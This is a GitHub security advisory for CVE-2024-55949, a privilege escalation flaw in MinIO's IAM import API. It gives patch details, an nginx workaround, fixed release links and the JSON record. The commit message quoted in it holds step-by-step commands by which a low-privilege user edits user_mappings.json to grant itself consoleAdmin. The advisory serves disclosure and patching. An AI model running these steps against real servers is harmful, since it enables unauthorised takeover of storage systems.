GHSA-cwq8-g58r-32hg
Vulnerability from github
Published
2024-12-16 17:27
Modified
2024-12-20 14:09
Summary
MinIO vulnerable to privilege escalation in IAM import API
Details

Impact

Privilege escalation in IAM import API, all users are impacted since MinIO commit 580d9db85e04f1b63cc2909af50f0ed08afa965f

Patches

``` commit f246c9053f9603e610d98439799bdd2a6b293427 Author: Aditya Manthramurthy donatello@users.noreply.github.com Date: Wed Dec 11 18:09:40 2024 -0800

fix: Privilege escalation in IAM import API (#20756)

This API had missing permissions checking, allowing a user to change
their policy mapping by:

1. Craft iam-info.zip file: Update own user permission in
user_mappings.json
2. Upload it via `mc admin cluster iam import nobody iam-info.zip`

Here `nobody` can be a user with pretty much any kind of permission (but
not anonymous) and this ends up working.

Some more detailed steps - start from a fresh setup:

```
./minio server /tmp/d{1...4} &
mc alias set myminio http://localhost:9000 minioadmin minioadmin
mc admin user add myminio nobody nobody123
mc admin policy attach myminio readwrite nobody nobody123
mc alias set nobody http://localhost:9000 nobody nobody123

mc admin cluster iam export myminio
mkdir /tmp/x && mv myminio-iam-info.zip /tmp/x
cd /tmp/x
unzip myminio-iam-info.zip
echo '{"nobody":{"version":1,"policy":"consoleAdmin","updatedAt":"2024-08-13T19:47:10.1Z"}}' > \
      iam-assets/user_mappings.json
zip -r myminio-iam-info-updated.zip iam-assets/

mc admin cluster iam import nobody ./myminio-iam-info-updated.zip
mc admin service restart nobody
```

```

Workarounds

There are no workarounds possible, all users are advised to upgrade immediately if you don't run MinIO behind a load balancer.

Behind a load balancer / firewall such as nginx .

location /minio/admin/v2/import-iam { ... }

location /minio/admin/v3/import-iam-v2 { ...

Following locations can be blocked from external access, temporarily disallowing the API calls completely until the deployments can be upgraded.

References

Refer https://github.com/minio/minio/pull/20756 for more information

Binary Releases

AiStor Containers

quay.io/minio/aistor/minio:RELEASE.2024-12-13T13-42-41Z quay.io/minio/aistor/minio:RELEASE.2024-12-13T13-42-41Z.fips

AiStor Binaries

Architecture: linux/amd64
  • https://dl.min.io/aistor/minio/release/linux-amd64/archive/minio.RELEASE.2024-12-13T13-42-41Z
Architecture: linux/arm64
  • https://dl.min.io/aistor/minio/release/linux-arm64/archive/minio.RELEASE.2024-12-13T13-42-41Z
Architecture: windows/amd64
  • https://dl.min.io/aistor/minio/release/windows-amd64/archive/minio.RELEASE.2024-12-13T13-42-41Z

Community Containers

quay.io/minio/minio:RELEASE.2024-12-13T22-19-12Z quay.io/minio/minio:RELEASE.2024-12-13T22-19-12Z.fips

Community Binaries

Architecture: linux/amd64
  • https://dl.min.io/server/minio/release/linux-amd64/archive/minio.RELEASE.2024-12-13T22-19-12Z
Architecture: linux/arm64
  • https://dl.min.io/server/minio/release/linux-arm64/archive/minio.RELEASE.2024-12-13T22-19-12Z
Architecture: windows/amd64
  • https://dl.min.io/server/minio/release/windows-amd64/archive/minio.RELEASE.2024-12-13T22-19-12Z

Credits

Credit goes to National Security Agency for reporting this issue.

Show details on source website


{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/minio/minio"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.0.0-20220623162515-580d9db85e04"
            },
            {
              "fixed": "0.0.0-20241213221912-68b004a48f41"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-55949"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-269"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-12-16T17:27:53Z",
    "nvd_published_at": "2024-12-16T20:15:13Z",
    "severity": "HIGH"
  },
  "details": "### Impact\nPrivilege escalation in IAM import API, all users are impacted since MinIO commit 580d9db85e04f1b63cc2909af50f0ed08afa965f\n\n### Patches\n```\ncommit f246c9053f9603e610d98439799bdd2a6b293427\nAuthor: Aditya Manthramurthy \u003cdonatello@users.noreply.github.com\u003e\nDate:   Wed Dec 11 18:09:40 2024 -0800\n\n    fix: Privilege escalation in IAM import API (#20756)\n    \n    This API had missing permissions checking, allowing a user to change\n    their policy mapping by:\n    \n    1. Craft iam-info.zip file: Update own user permission in\n    user_mappings.json\n    2. Upload it via `mc admin cluster iam import nobody iam-info.zip`\n    \n    Here `nobody` can be a user with pretty much any kind of permission (but\n    not anonymous) and this ends up working.\n    \n    Some more detailed steps - start from a fresh setup:\n    \n    ```\n    ./minio server /tmp/d{1...4} \u0026\n    mc alias set myminio http://localhost:9000 minioadmin minioadmin\n    mc admin user add myminio nobody nobody123\n    mc admin policy attach myminio readwrite nobody nobody123\n    mc alias set nobody http://localhost:9000 nobody nobody123\n    \n    mc admin cluster iam export myminio\n    mkdir /tmp/x \u0026\u0026 mv myminio-iam-info.zip /tmp/x\n    cd /tmp/x\n    unzip myminio-iam-info.zip\n    echo \u0027{\"nobody\":{\"version\":1,\"policy\":\"consoleAdmin\",\"updatedAt\":\"2024-08-13T19:47:10.1Z\"}}\u0027 \u003e \\\n          iam-assets/user_mappings.json\n    zip -r myminio-iam-info-updated.zip iam-assets/\n    \n    mc admin cluster iam import nobody ./myminio-iam-info-updated.zip\n    mc admin service restart nobody\n    ```\n```\n\n### Workarounds\nThere are no workarounds possible, all users are advised to upgrade immediately if you don\u0027t run MinIO behind a load balancer.\n\nBehind a load balancer / firewall such as `nginx` . \n\n```\nlocation /minio/admin/v2/import-iam {\n...\n}\n```\n\n```\nlocation /minio/admin/v3/import-iam-v2 {\n...\n```\n\nFollowing locations can be blocked from external access, temporarily disallowing the API calls completely until the deployments can be upgraded.\n\n### References\nRefer https://github.com/minio/minio/pull/20756 for more information \n\n### Binary Releases\n#### AiStor Containers\n```\nquay.io/minio/aistor/minio:RELEASE.2024-12-13T13-42-41Z\nquay.io/minio/aistor/minio:RELEASE.2024-12-13T13-42-41Z.fips\n```\n\n#### AiStor Binaries\n#####  Architecture: `linux/amd64`\n- https://dl.min.io/aistor/minio/release/linux-amd64/archive/minio.RELEASE.2024-12-13T13-42-41Z\n\n##### Architecture: `linux/arm64`\n- https://dl.min.io/aistor/minio/release/linux-arm64/archive/minio.RELEASE.2024-12-13T13-42-41Z\n\n##### Architecture: `windows/amd64`\n- https://dl.min.io/aistor/minio/release/windows-amd64/archive/minio.RELEASE.2024-12-13T13-42-41Z\n\n### Community Containers\n```\nquay.io/minio/minio:RELEASE.2024-12-13T22-19-12Z\nquay.io/minio/minio:RELEASE.2024-12-13T22-19-12Z.fips\n```\n\n### Community Binaries\n#####  Architecture: `linux/amd64`\n- https://dl.min.io/server/minio/release/linux-amd64/archive/minio.RELEASE.2024-12-13T22-19-12Z\n\n##### Architecture: `linux/arm64`\n- https://dl.min.io/server/minio/release/linux-arm64/archive/minio.RELEASE.2024-12-13T22-19-12Z\n\n##### Architecture: `windows/amd64`\n- https://dl.min.io/server/minio/release/windows-amd64/archive/minio.RELEASE.2024-12-13T22-19-12Z\n\n### Credits\nCredit goes to [National Security Agency](https://www.nsa.gov/) for reporting this issue.\n",
  "id": "GHSA-cwq8-g58r-32hg",
  "modified": "2024-12-20T14:09:31Z",
  "published": "2024-12-16T17:27:53Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/minio/minio/security/advisories/GHSA-cwq8-g58r-32hg"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-55949"
    },
    {
      "type": "WEB",
      "url": "https://github.com/minio/minio/pull/20756"
    },
    {
      "type": "WEB",
      "url": "https://github.com/minio/minio/commit/580d9db85e04f1b63cc2909af50f0ed08afa965f"
    },
    {
      "type": "WEB",
      "url": "https://github.com/minio/minio/commit/f246c9053f9603e610d98439799bdd2a6b293427"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/minio/minio"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "MinIO vulnerable to privilege escalation in IAM import API"
}


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